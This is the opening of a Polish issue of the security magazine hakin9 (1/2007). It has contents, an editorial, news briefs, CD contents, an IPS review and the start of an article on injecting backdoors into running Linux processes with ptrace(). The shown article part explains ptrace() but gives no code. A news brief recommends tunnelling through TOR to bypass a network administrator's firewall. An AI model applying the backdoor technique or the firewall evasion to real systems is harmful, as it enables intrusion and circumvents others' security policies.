4
www.hakin9.org
hakin9 Nr 1/2007
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
W skrócie
Piotr Konieczny
Piotr przedstawia garść najciekawszych wiadomo-
ści ze świata bezpieczeństwa systemów informa-
tycznych.
Zawartość CD – hakin9.live
Emilia Godlewska
Emilia opisuje zawartość i sposób działania najnow-
szej wersji naszej sztandarowej dystrybucji haki-
n9.live
Sprzęt
IPS Broad Web NetKeeper
Jakub Wojnowski
Kuba przetestował narzędzie dystrybuowane przez
Dagmę. Przedstawia w jaki sposób urządzenie zneu-
tralizowało przeprowadzone ataki.
Atak
Hakowanie aplikacji -
Rootkity i Ptrace
Stefan Klaas
Stefan uczy jak rozumieć wywołanie systemo-
we ptrace() oraz w jaki sposób używać go w celu
zmiany przepływu sterowania uruchomionych pro-
gramów poprzez wstrzykiwanie własnych instrukcji
do pamięci procesu.
Schellcody nowej generacji
Itzik Kotler
Itzik opisuje przeszkody jakie spotyka n apastnik pró-
bujący uruchomić kod powłoki na systemie będącym
celem ataku oraz jak wyglądają sposoby obejścia tych
przeszkód.
10
06
08
12
26
Co dwie głowy to nie jedna
a co w przypadku kiedy
tych głów jest więcej?
O
ddajemy Wam do rąk pierwszy numer Hakin9u
miesięcznika. Nie będziecie musieli już czekać na
Wasze ulubione pismo aż dwa miesiące tylko mie-
siąc a zatem w ciągu roku będzie dwa razy więcej do poczy-
tania. To dobra wiadomość, którą nagradzamy wszystkich
tych czytelników, którzy są z nami od początku.
Pracujemy również nad poprawieniem jakości dla-
tego specjalnie dla Was tworzymy Radę Programową.
W zespole mamy już Macieja Szmita. Jest członkiem
International Computer Games Association, Naukowego
Towarzystwa Informatyki Ekonomicznej, Polskiego Towa-
rzystwa Informatycznego oraz Polskiego Towarzystwa
Użytkowników Produktów Novella.
Jego dorobek publikacyjny obejmuje osiemdziesiąt
publikacji (w tym ponad dwudzieścia publikacji nauko-
wych, autorstwo trzech i współautorstwo dwóch ksią-
żek oraz kilku rozdziałów w monografiach). Od 1996 roku
współpracuje z Wydawnictwem Software jako autor szere-
gu artykułów publikowanych w pismach „Boston IT Securi-
ty Review”, „Software Developer’s Journal” oraz „Hakin9”
(w edycjach: polskiej, czeskiej, francuskiej, hiszpańskiej,
angielskiej, włoskiej i niemieckiej), recenzent oraz redak-
tor prowadzący numerów poświęconych sztucznej inte-
ligencji (numer z lutego 2004 wydany w języku polskim
oraz numer Software Extra z lipca 2004 wydany w języ-
kach: polskim, hiszpańskim, niemieckim i francuskim).
Do Rady Programowej zapraszamy wybitne osobistości
by decydowały o najlepszych materiałach, które z miesią-
ca na miesiąc będziemy Wam przekazywać. Jeżeli chcecie
rekomendować kogoś do Rady Programowej Hakin9u pisz-
cie do nas.
Jak zwykle ciekawi jesteśmy Waszych opinii. Piszcie
śmiało: pl.@hakin9.org i do zobaczenia już za miesiąc.
Sylwia Pogroszewska
http://www.buyitpress.com
4
www.hakin9.org
hakin9 Nr 1/2007
hakin9
5
www.hakin9.org
hakin9 Nr 2/2006
Obrona
Huby w pajęczynach
i złośliwe m-routery
Maciej Szmit, Mariusz Tomaszewski
Maciek i Mariusz przedstawiają zapobieganie złośli-
wym m-routerom, omawiają ich wady.
Wszystko o NAT
Konrad Malewski
Konrad wyjaśnia metody, dzięki którym można utwo-
rzyć połączenie pomiędzy komputerami znajdujący-
mi się w różnych sieciach lokalnych.
Snort_inline
Pierpaolo Palazzoli, Matteo Valenza
Pierpaolo i Matteo omawiają działanie Snort_inline
i podstawy zapobiegania włamaniom do systemów.
Rozwiązania DTM
Łukasz Bromirski
Łukasz prezentuje jak wygląda architektura DTM
Cisco oraz jakie elementy powinieneś zastosować
w Sieci, by rozwiązanie spełniało swoje zadanie.
Wywiad
Peter Fleischer
Marta Ogonek
Peter Fleischer, kieruje pracami Google w zakresie
ochrony prywatności w regionie EMEA.
Zapowiedzi
Emilia Godlewska
Emiia zapowiada artykuły, które znajdą się w następ-
nym wydaniu naszego pisma.
jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska sylwiap@software.com.pl
Redaktor: Emilia Godlewska
Tłumaczenie: Rafał Kocisz
Wyróżnieni betatesterzy: Łukasz Witczak, Mateusz Lipiński,
Bartosz Sidzina
Opracowanie CD: Rafał Kwaśny
Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
Skład i łamanie: Sławomir Zadrozny slawekz@software.com.pl
Artur Wieczorek arturw@software.com.pl
Okładka: Agnieszka Marchocka
Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,
ul. Bokserska 1, 02-682 Warszawa, Polska
Tel. +48 22 887 13 45, Fax +48 22 887 10 11
www.hakin9.org
Osoby zainteresowane współpracą prosimy o kontakt:
cooperation@software.com.pl
Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych
pism prosimy o kontakt:
Monika Godlewska
e-mail: monikag@software.com.pl
tel.: +48 (22) 887 12 66
fax: +48 (22) 887 10 11
Druk: 101 Studio, Firma Tęgi
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na
towarzyszących mu nośnikach informacje i programy były poprawne,
jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;
nie gwarantuje także poprawnego działania programów shareware,
freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich
firm i zostały użyte wyłącznie w celach informacyjnych.
Do tworzenia wykresów i diagramów wykorzystano
program
firmy
Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit
firmy G DATA Software Sp. z o.o.
Redakcja używa systemu automatycznego składu
UWAGA!
Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej
niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem
na jego szkodę i skutkuje odpowiedzialnością sądowa.
hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,
Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-
czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.
Prowadzimy również sprzedaż kioskową w innych krajach europej-
skich.
Magazyn hakin9 wydawany jest w 7 wersjach językowych:
PL
ES
CZ EN
IT FR DE
Nakład wersji polskiej 6 000 egz.
UWAGA!
Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.
70
58
78
82
42
36
W skrócie
hakin9 Nr 1/2007
www.hakin9.org
6
W skrócie
www.hakin9.org
7
hakin9 Nr 1/2007
Ekstradycja UFO-hackera
Gary McKinnon, brytyjski niedo-
szły fryzjer i script-kiddie, który po-
nad rok temu włamał się na serwe-
ry Pentagonu, może zostać potrak-
towany jako terrorysta. Wielka Bry-
tania podpisała zgodę na jego eks-
tradycję do USA.
Gary złożył już apelację, twierdząc,
że Amerykanie sfabrykowali więk-
szość dowodów w jego sprawie.
Dziwnym trafem, wycena strat spo-
wodowanych przez intruza na każ-
dym z serwerów równa była kwo-
cie 5 tys. dolarów, czyli wartości, od
której wedle amerykańskiego prawa
można ubiegać się o ekstradycję.
McKinnon, za pomocą pożyczo-
nego od byłej dziewczyny kompute-
ra, spenetrował kilkanaście serwe-
rów należących do rządu USA. We
włamaniach pomogły mu znalezio-
ne w sieci programy.
Motywem, jakim kierował się Ga-
ry, było poszukiwanie dowodów na
istnienie cywilizacji pozaziemskiej
oraz materiałów świadczących
o wykorzystywaniu przez USA na-
pędów antygrawitacyjnych.
McKinnon, w kilkunastu wywia-
dach udzielonych od momentu jego
schwytania, opowiadał o fatalnym
stanie zabezpieczeń na serwerach
rządowych USA. Gary miał pozy-
skiwać tajne informacje wojskowe
forsując tak zaawansowane barie-
ry, jak na przykład puste hasła ad-
ministratora. Anglika zgubił fakt po-
zostawienia notki informującej o lu-
kach w zabezpieczeniach, wprost
na pulpicie rządowej maszyny, do
której udało mu się dostać.
Nokia i Snort
Fiński koncern Nokia poinformował
o nawiązaniu współpracy z firmą So-
urcefire, producentem powszechnie
znanego wśród specjalistów od za-
bezpieczeń narzędzia Snort.
Nokia działa nie tylko na rynku te-
lefonii komórkowej. Firma dostar-
cza także zintegrowane platformy
zabezpieczeń sieci.
Snort to opensource'owy program,
którego zadaniem jest monitorowa-
nie i analiza ruchu sieciowego pod
kątem symptomów charakterystycz-
nych dla włamań. Jego twórca, Mar-
tin Roesch, nie ukrywał, że oferty
współpracy składały mu (oprócz No-
kii) także inne, znane w sieciowym
światku firmy, z Cisco na czele. Za-
pewnia, że wybrana oferta jest naj-
korzystniejszą nie tylko dla niego, ale
i dla Snorta.
Luka, której nie było?
T
egoroczna konferencja ToorCon
zostanie w pamięci nie tylko jej
uczestników, ale także milionów użyt-
kowników przeglądarki Firefox. Dwój-
ka prelegentów, Andrew Wbeelsoi
i Mischa Spiegelmock, oświadczy-
ła podczas swojego wykładu, że jest
w posiadaniu exploita na poważną lu-
kę w przeglądarce Firefox. Z racji po-
pularności, jaką cieszy się ta prze-
glądarka internetowa, systematycz-
nie „przeciągająca” na swoją stronę
coraz więcej użytkowników Internet
Explorera, wiadomość o dziurze odbi-
ła się głośnym echem po całym inter-
necie. Przez kilka dni serwisy informa-
cyjne jak i blogosfera trąbiły o domnie-
manych błędach w Firefoksie i jako-
by fatalnym stanie implementacji ca-
łej obsługi JavaScript. Oliwy do ognia
dolewał brak pełnego kodu eksploita.
Hackerzy w czasie swojej prezentacji
ujawnili jedynie jego fragmenty.
Nie ma się co dziwić, że najbar-
dziej zdenerwowało to odpowiedzial-
nych za bezpieczeństwo przeglądarki
pracowników fundacji Mozilla. Szefo-
wa Mozilli ds. bezpieczeństwa, Win-
dow Synder, mimo iż podejrzewała
opisaną dziurę jako wariant jednej ze
znanych już luk, oświadczyła, że nie-
odpowiedzialnym jest podawanie te-
go typu informacji opinii społecznej,
gdyż zachodzi ryzyko niemalże na-
tychmiastowego wykorzystania dziu-
ry przez cyberprzestępców.
Jakby tego było mało, w czasie pre-
zentacji wspomniano o istnieniu ko-
lejnych trzydziestu błędów w przeglą-
darce Firefox. Co więcej, hackerzy nie
zamierzali ich ujawniać. Nie ukrywali
również, że mają zamiar wykorzystać
znalezione błędy we własnych celach
(sic!). Andrew i Mischa odrzucili tym
samym ofertę Mozilli, która za znalezie-
nie poważnego błędu w kodzie Firefok-
sa płaci programistom 500 dolarów.
Wkrótce po burzy, jaka rozpętała
się w mediach, nadszedł czas skru-
chy. Mischa wystosował oświadcze-
nie, w którym przeprosił wszystkich
za zamieszanie wywołane prezenta-
cją. Hacker podkreślał, że prezenta-
cja miała być w dużej mierze humo-
rystyczna. Mischa przyznał także, iż
pomimo wielu prób nie udało mu się
przedstawionej na konferencji dziury
wykorzystać do zdalnego wykonania
kodu, a następnie zaprzeczył, jakoby
był w posiadaniu informacji dotyczą-
cych 30 kolejnych dziur w kodzie Fire-
foksa. Zarówno Mischa jak i Window
potwierdzili, że odpowiednie wykorzy-
stanie luki powoduje nagłe zamknięcie
przeglądarki i wyczerpanie zasobów
maszyny, a sama dziura była wcze-
śniej znana programistom Mozilli.
W całym tym zamieszaniu nale-
ży pochwalić szybką reakcje pracow-
ników Mozilli, którzy nie zlekcewa-
żyli możliwości zagrożenia i błyska-
wicznie podjęli procedury dążące do
wyjaśnienia całej sprawy, działając
zgodnie z przekonaniem, że bezpie-
czeństwo użytkowników jest najważ-
niejsze.
Uważaj na hakerów odbierając SMS
K
omenda Główna Policji na stro-
nach internetowych zaczęła
ostrzegać obywateli przed phishin-
giem. Akcja przeprowadzana przez
policję jest profesjonalna, a co więcej,
materiały zostały napisany w sposób
łatwy do przyswojenia nawet przez
mniej zaawansowanych użytkowni-
ków komputera. Policjanci porusza-
ją tematy podrobionych stron banko-
wych i metod, jakimi cyberprzestęp-
cy starają się zachęcić nas do poda-
nia im prawdziwych danych. Oprócz
standardowego wysyłania e-maili
zachęcających do kliknięcia w lin-
ki, funkcjonariusze opisali także nowe
metody przestępców bazujące na ko-
munikacji przez telefon – i chodzi tu
zarówno o rozmowę, jak i przesyłanie
wiadomości SMS. Policja wypunkto-
wała także listę dobrych zwyczajów,
których przestrzeganie powinno zaosz-
czędzić internautom wielu kłopotów.
Więcej szczegółów na stronie http://
www.policja.pl/index.php?dzial=1&id
=3405
W skrócie
hakin9 Nr 1/2007
www.hakin9.org
6
W skrócie
www.hakin9.org
7
hakin9 Nr 1/2007
Usuń sobie DRM
Od złamania systemu MS DRM (Mi-
crosoft Digital Rights Management)
przez hackera, przedstawiającego
się jako Beale Screamer minęło już
kilka lat. W tym czasie system DRM
doczekał się kolejnych wersji, popra-
wiających niedociągnięcia. Jednak
ostatnio w sieci pojawił się program
FairUse4WM służący do zdejmowa-
nia zabezpieczeń z plików muzycz-
nych chronionych DRM-em w wer-
sji 10 i 11. Graficzny interfejs aplika-
cji sprawia, że zabezpieczenia przed
kopiowaniem mogą zdejmować oso-
by nieposiadające specjalistycznej
wiedzy na temat DRM.
Viodentia, autor programu, nie za-
chęca do piractwa i oświadczył, ze
narzędzie powstało, by umożliwić
użytkownikom kopiowanie muzy-
ki z zabezpieczonych plików w ra-
mach dozwolonego prawem użytku
prywatnego. Jest to bunt przeciw-
ko serwisom muzycznym, zwłasz-
cza tym, które sprzedają prawa do
słuchania utworów, ale tylko wtedy,
kiedy użytkownik posiada aktywne
(obarczone comiesięczną opłatą)
konto w serwisie.
Innego zdania jest Microsoft,
który złożył pozew przeciwko au-
torowi oprogramowania usuwają-
cego DRM. Co ciekawe, Microsoft
oskarża hakera nie o złamanie za-
bezpieczeń, ale o nielegalne po-
zyskanie kodu źródłowego pro-
duktów Microsoftu, bez którego
– zdaniem firmy – Viodencie nie
udałoby się złamać DRM.
Dziurawe OpenSSL
Wraz z końcem września udostęp-
niono łaty na cztery luki w znanym
pakiecie OpenSSL.
Jak donoszą specjaliści do spraw
bezpieczeństwa, dwie ze znalezio-
nych dziur są poważne. Pierwsza
dotyczy błędu w praserze ASN.1,
który za pomocą specjalnego kodu
można wprowadzić w nieskończo-
ną pętle, zużywając tym samym
całkowite zasoby pamięci.
Druga poważna luka to błąd
w funkcji SSL_get_shared_ciphers
umożliwiający atak przepełnienia
buforu. Trzecia, mniej groźna dziu-
ra dotyczy złej konfiguracji serwe-
ra OpenSSL, mogącej wpłynąć na
niestabilność pracy klienta.
Administratorów serwerów korzy-
stających z OpenSSL zachęcamy
do jak najszybszego zainstalowa-
nia poprawek dostępnych na stro-
nie http://www.openssl.org/.
Policja zatrzymała serwery TOR
T
he Onion Routing to stworzona
przez Electronic Frontiers Founda-
tion sieć niekomercyjnych, często pry-
watnych serwerów, tworzących wirtual-
ną sieć połączeń i umożliwiająca swo-
im użytkownikom anonimowe korzysta-
nie z zasobów Internetu. TOR wykorzy-
stywany jest przez dziennikarzy lub dy-
sydentów w celu ominięcia cenzury lub
zatarcia za sobą śladów po publika-
cji niewygodnych wiadomości. Z sieci
TOR korzystają także agencje rządo-
we, które obserwując pewne strony in-
ternetowe, nie chcą w logach pozosta-
wiać śladu swojego adresu IP. Niemiec-
ka policja, prowadząca dochodzenie w
sprawie dziecięcej pornografii, w cza-
sie jednego z przeszukań zatrzyma-
ła także sześć serwerów działających
w systemie TOR. Jak donoszą opera-
torzy przejętych przez policję serwe-
rów, nie zostali oni zatrzymani, ani nie
postawiono im zarzutów. Początko-
wo media informowały, że najazd poli-
cji wymierzony był również w sieć TOR,
postrzeganą przez niektórych jako nie-
wygodny (bo nie dający łatwo zidenty-
fikować użytkownika) zalążek anarchii
w sieci. Opiekunowie projektu zdemen-
towali jednak te pogłoski, tłumacząc,
że najprawdopodobniej jeden z tropio-
nych przez policję pedofilów mógł wy-
korzystać TOR do zestawienia połą-
czenia. TOR posiada także inną, ma-
ło znaną zaletę. Korzystając z jego za-
sobów, przy odpowiedniej konfiguracji
klienta, możemy ominąć restrykcje fi-
rewalla naszej sieci. Jeśli tylko mamy
dostęp do portu 80 – możemy tunelo-
wać połączenia dla usług działających
na innych portach – np. Jabbera lub
SSH. Czasem – trzeba przyznać – na-
wet na bardzo dobrym łączu nie jest to
szybkie rozwiązanie, gdyż cebulowy
routing implementowany przez TOR
i połączenia przekazywane przez kil-
ka serwerów dodają sporo opóźnienia
do ruchu pakietów. Ale coś za coś – je-
śli administrator zablokował nam jakąś
usługę – na przykład połączenia FTP,
a my koniecznie musimy z niej skorzy-
stać – warto przecierpieć opóźnienia w
ruchu i powolny transfer, by móc w koń-
cu użyć upragnionej usługi.
W
e wrześniu amerykański sąd
okręgowy w Illinois nakazał
właścicielom Spamhaus.org wypła-
tę niebagatelnej kwoty 11 mln dola-
rów odszkodowania na rzecz firmy
e360insight, która wg ustaleń wymia-
ru sprawiedliwości niesłusznie znala-
zła się na liście spamerów tworzonej
przez Spamhaus. Spamhaus nie wy-
płacił odszkodowania, ponieważ fir-
ma nie znajduje się w Stanach Zjed-
noczonych a na terenie Wielkiej Bry-
tanii, zatem wyroki sądu w USA jej
nie dotyczą. Co więcej, Spamhaus
nie usunęła firmy e360insight ze swo-
ich list. Paradoksalnie, bezsilność
amerykańskiego wymiaru sprawiedli-
wości zmotywowała go do działania.
Sąd postanowił złożyć wniosek o za-
wieszenie domeny spamhaus.org do
organizacji ICANN, ta jednak oznaj-
miła, że nie jest stroną w sporze
i nie ma obowiązku wykonywać żad-
nych sugestii sądu. Chęć zniszczenie
Kto tu jest spamerem?
Spamhaus dziwi niektórych specjali-
stów do spraw bezpieczeństwa. Są
oni zdania, że niedostępność list spo-
rządzanych przez Spamhaus może
spowodować zalew milionów skrzy-
nek pocztowych niechcianą pocztą,
która obecnie – właśnie dzięki listom
– jest blokowana.
Całą akcję wymiaru sprawiedli-
wości oceniają jako elektroniczne sa-
mobójstwo, zwłaszcza, że ze Spam-
haus.org korzysta wiele znanych or-
ganizacji, w tym także Biały Dom
czy amerykańskie siły zbrojne. Od-
miennego zdania są naukowcy, któ-
rzy przy ocenie sytuacji uwzględnili
ogrom informatycznej wiedzy posia-
danej przez administratorów korzy-
stających z baz Spamhaus. Uczeni
sądzą, że nawet po zamrożeniu stro-
ny WWW oskarżonej organizacji, ko-
rzystający z jej usług administratorzy
szybko znajdą inne strony udostęp-
niające do pobrania te same listy.
hakin9.live
hakin9 Nr1/2007
www.hakin9.org
8
N
a dołączonej do pisma płycie znajduje się hakin9.
live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja Auroxa, zawierająca przydatne narzę-
dzia, dokumentację, tutoriale i materiały dodatkowe do
artykułów. Aby zacząć pracę z hakin9.live, wystarczy
uruchomić komputer z CD1. Po uruchomieniu systemu
możemy zalogować się jako użytkownik hakin9 bez po-
dawania hasła.
Materiały dodatkowe zostały umieszczone w nastę-
pujących katalogach:
• tut – 24 tutoriale w tym jeden nowy: „Sieci nie lokalne”;
• Aurox-Live;
• HIT – Outpost PRO Firewall, Qengine Issue Manager
4.0, Kaspersky Anti-Spam 3.0;
• applications – programy;
• doc – indeks;
• pdf – materiały archiwalne oraz e-books.
Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest do-
stępna z podkatalogu /mnt/cdrom.
Wersję hakin9.live 3.1-aur zbudowaliśmy, opiera-
jąc się o dystrybucję Aurox i skrypty automatycznej ge-
neracji (www.aurox.org/pl/live). Narzędzia dystrybucji,
które nie znajdują się na dołączonej do pisma płycie,
instalowane są z repozytorium Auroxa za pomocą pro-
gramu yum.
W porównaniu z hakin9.live 2.9.1-ng zasadniczą
zmianą jest oparcie systemu na dystrybucji Aurox Li-
ve 11.1. oraz przejście z Fluxboksa na środowisko gra-
ficzne KDE.
Tutoriale i dokumentacja
W skład dokumentacji, oprócz standardowych dla Li-
nuksa stron pomocy (stron manualna), z których sko-
rzystać możemy poprzez konsolę wydając polecenie
man [nazwa programu], wchodzą między innymi tuto-
riale, przygotowane przez redakcję.
Na CD opracowane zostały praktyczne ćwiczenia
do jendego artykułu – Sieci nie lokalne, który można
przeczytać w piśmie. Zakładamy, że podczas wykony-
wania ćwiczeń związanych z artykułami i tutorialami,
użytkownik korzysta z hakin9.live. Dzięki temu unik-
nie problemów związanych z różnymi wersjami kom-
pilatorów, inną lokalizacją plików konfiguracyjnych czy
opcjami niezbędnymi do uruchomienia programu w da-
nym środowisku. hakin9.live został przygotowany pod
kątem tych ćwiczeń i zawiera wszystkie wymagane
aplikacje.
Zawartość CD
Qengine IssueManager 4.0
QIM jest stuprocentowo webowym oprogramowaniem
do zarządzania rozwiązywaniem problemów, które
oferuje funkcjonalność zarządzania poprawianiem błę-
dów, zarządzania projektem, ulepszeniami, defektami
i elementy zarządzania zadaniami. Dostarcza kontro-
le dostępu zależna od roli w projekcie, obsługę załącz-
ników, zarządzanie terminarzem, automatyczne notyfi-
kacje przez emalia. Zarządzanie czasem pracy, reguły
biznesowe, aktywna identyfikacji w kartotece, dołącza-
nie zrzutów ekranu, łatwe raportowanie i szerokie moż-
liwości dostosowań.
Outpost PRO Firewall
Outpost Firewall jest osobistym systemem zaporo-
wym chroniącym komputer użytkownika przed ataka-
mi podczas połączenia z Internetem (ataki hakerów,
włamania, konie trojańskie itp.). Dodatkowy moduł an-
tyspyware chroni w czasie rzeczywistym przed ataka-
mi programów szpiegowskich. Program jest dostępny
w polskiej wersji językowej.
Outpost kontroluje zarówno połączenia przycho-
dzące jak i wychodzące, dzięki czemu każda pró-
ba kradzieży poufnych danych będzie zablokowana.
W sieci firmowej zapewnia szczególną ochronę notebo-
oków, wynoszonych zwykle poza obręb firmy i łączących
się z Internetem z niechronionych lokalizacji. Outpost po-
zwala również na blokowanie dostępu do określonych
stron internetowych (według adresu lub treści strony).
Specjalny moduł „Ochrona prywatnych informacji”
blokuje wysłanie poufnych danych zapewniając dodatko-
wą ochronę haseł do kont bankowych lub numerów kart
kredytowych. Zaawansowanym użytkownikom Outpost
pozwala na konfigurowanie dowolnych reguł oraz posze-
rzanie funkcjonalności poprzez dodatkowe wtyczki (np.
blokowanie reklam).
Kaspersky Anti-Spam 3.0
Kaspersky Anti-Spam chroni przed niechcianą korespon-
dencją elektroniczną (spamem). Pozwala na wyelimino-
wanie niechcianych wiadomości e-mail z ruchu poczto-
wego. Rozwiązanie wykorzystuje inteligentną technolo-
gię wykrywania spamu i powstało na bazie wieloletnie-
go doświadczenia ekspertów z Kaspersky Lab w projek-
towaniu systemów chroniących ruch pocztowy w środo-
wiskach korporacyjnych. Kaspersky Anti-Spam walczy
ze spamem korzystając z wielopoziomowego filtrowa-
nia wiadomości e-mail. Analiza lingwistyczna może auto-
matycznie przetwarzać wiadomości i odrzucać niechcia-
ną korespondencję. Ponadto rozwiązanie jako jedyne na
rynku analizuje spam powstający w języku rosyjskim.
hakin9 Nr 1/2007
www.hakin9.org
9
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl
10
Sprzęt
hakin9 Nr 1/2007
www.hakin9.org
Urządzenie Broad Web Netkeeper, bo o nim mowa jest
systemem IPS (Intrusion Prevention System). Oznacza
to dokładnie tyle, że podobnie jak rozwiązania typu IDS,
NetKeeper potrafi wykrywać ataki, w odróżnieniu jednak
od systemów IDS potrafi również te ataki automatycznie
blokować. Jest zatem połączeniem klasycznych IDS'ów
z firewallem.
Istnieje jednak różnica pomiędzy sposobem filtrowa-
nia pakietów przez NetKeepera a zwykły firewall. Więk-
szość zapór ogniowych filtruje ruch w sieci na podsta-
wie informacji o pakietach: adres źródłowy, docelowy,
port, protokół, nie mają natomiast wpływu zawartość
pakietów (wynika to z faktu, że działają na 4 warstwie
system OSI). Netkeeper natomiast potrafi kontrolować
ruch w sieci na podstawie zawartości poszczególnych
pakietów, dzięki czemu jest w stanie wykryć np. exploity
i złośliwe robaki i wirusy internetowe.
Sercem NetKeepera jest dedykowany procesor firmy
BroadWeb, dzięki któremu jest on w stanie obsłużyć
nawet sieci o bardzo dużych przepustowościach.
NetKeeper pracuje w trybie in-line dzięki czemu nie
ma możliwości pominięcia przez niego żadnego pakietu
w sieci. Sprawia to, że skutecznie radzi on sobie z ataka-
mi np. SQL Slammer.
System stosuje różne metody identyfikacji ataków:
np. na podstawie analizy statystycznej czy z wbudowa-
nej bazy sygnatur ataków. Urządzenie posiada również
proste narzędzie do tworzenia własnych sygnatur.
NetKeeper filtruje ruch na podstawie predefiniowa-
nych polityk. Posiada on ok dwóch tysięcy zdefiniowa-
nych reguł, na podstawie których można budować polity-
kę bezpieczeństwa sieci.
Urządzenie posiada również możliwość blokowa-
nia aplikacji typu peer-to-peer oraz instant messaging
i dostępu do wybranych przez administratora usług (np.
chat) i stron internetowych.
O skuteczności produktu świadczy zresztą fakt, że
NetKeeper jako jeden z pierwszych uzyskał prestiżo-
wy certyfikat ICSA Labs potwierdzający zaawansowane
możliwości ochrony sieci firmowej przed włamaniami.
Podczas testów urządzenie zneutralizowało
wszystkie z przeprowadzanych ataków, w tym ataki
typu DoS. Zestaw narzędzi użyty do testów zawie-
rał‚ m.in. Tomahawk narzędzie służące do testowa-
nia urządzeń IPS, zestaw testów penetracyjnych Core
Impact, oraz skrypty specjalnie przygotowane przez
programistów ICSA. Ataki ukryte zostały w tysiącach
gigabajtów legalnego ruchu kierowanego na serwery
Cybertrust przez jego partnerów handlowych, którzy
wzięli udział w teście.
Reasumując NetKeeper jest bardzo udanym produktem,
godnym polecenia każdemu ceniącemu sobie bezpieczeń-
stwo administratorowi sieci. Do plusów NetKeepera należy z
pewnością zaliczyć pracę w trybie in-line, analizę zawartości
pakietów i dużą liczbę wykrywanych ataków oraz mnogość
zdefiniowanych reguł filtrowania ruchu.
Producentem urządzenia NetKeeper jest firma Bro-
adWeb (http://www.broadweb.com/) a dystrybutorem
na Polskę jest Dagma (http://www.dagma.pl).
Aurox Core Team przetestował urządzenie IPS Broad Web NetKeeper, które
służy ochronie oraz podniesieniu bezpieczeństwa Sieci.
Recenzja urządzenia
IPS Broad Web NetKeeper
W Sieci
Pełny raport z przeprowadzonych przez ICSA testów znajdu-
je się pod adresem:
http://www.icsalabs.com/icsa/docs/html/communities/nips/
certifiedproducts/BroadWeb_NetKeeper_3256P_NIPS_
report_060626.pdf
www.hakin9.org
hakin9 Nr 1/2007
12
Atak
D
otychczas nie znaliśmy zbyt wie-
le dostępnych publicznie funkcji
nadpisujących kod. Jest trochę ko-
du w „podziemiu”, który nie jest publicznie
udostępniony z powodu przeterminowania
(10.2006) i nie ma też dobrych dokumen-
tów opisujących tą technikę, dlatego obja-
śnię ją. Jeśli znasz już ptrace(), ten arty-
kuł powinien Cię również zainteresować,
bo zawsze to dobrze jest się nauczyć no-
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną część stosu? Zatem czytaj czytaj dalej,
bo przedstawię w szczegółach, jak to zro-
bić. Zastrzegam też, że użyłem następują-
cych wersji gcc:
gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)
Kompilujemy zawsze prostą metodą gcc file.c
-o output; nie trzeba żadnych flag kompilacji,
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem
wstępu, zaczynamy.
Objaśnienie funkcji ptrace()
Funkcja
ptrace()
jest bardzo użyteczna przy
debugowaniu. Używa się jej do śledzenia pro-
cesów.
Wywołanie systemowe
ptrace()
dostar-
cza narzędzia poprzez które proces nadrzęd-
ny może obserwować i kontrolować wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej
jest używany do zaimplementowania punktów
Hakowanie aplikacji
Rootkity i Ptrace
Stefan Klaas
stopień trudności
Przede wszystkim muszę zastrzec, że ten tekst jest specyficzny
dla Linuksa i potrzebna jest pewna wiedza o programowaniu w
ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych
technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i
prywatnych eksploitów, furtek i innych aplikacji. Przyjrzymy się bliżej
funkcji i nauczymy się, jak pisać własne furtki.
Z artykułu dowiesz się...
• należy rozumieć wywołanie systemowe
ptrace
();
• używać go w celu zmiany przepływu stero-
wania uruchomionych programów poprzez
wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
uruchomionym procesem.
Powinieneś wiedzieć...
• należy być obytym ze środowiskiem Linuksa,
jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.
Pisanie własnych furtek
hakin9 Nr 1/2007
www.hakin9.org
13
zatrzymania podczas debugowania
i śledzenia wywołań systemowych.
Proces nadrzędny może zainicjo-
wać śledzenie poprzez wywołanie
fork()
i nakazanie procesowi potom-
nemu wykonania
PTRACE _ TRACEME
, a
po nim (zazwyczaj)
exec
. Ewentual-
nie proces nadrzędny może zarzą-
dzić śledzenie istniejącego procesu
z użyciem
PTRACE _ ATTACH
.
Proces potomny, gdy jest śle-
dzony, zatrzyma się za każdym ra-
zem, gdy dostanie sygnał, nawet
jeśli sygnał ma ustawione ignoro-
wanie (poza
SIGKILL
, który kończy
się zawsze tak samo). Proces nad-
rzędny będzie notyfikowany w na-
stępnym miejscu oczekiwania i mo-
że przeglądać i modyfikować pro-
ces potomny, gdy ten jest zatrzy-
many. Proces nadrzędny następnie
każe procesowi potomnemu kon-
tynuować wykonanie, opcjonalnie
ignorując dostarczony sygnał (al-
bo nawet dostarczając mu inny sy-
gnał).
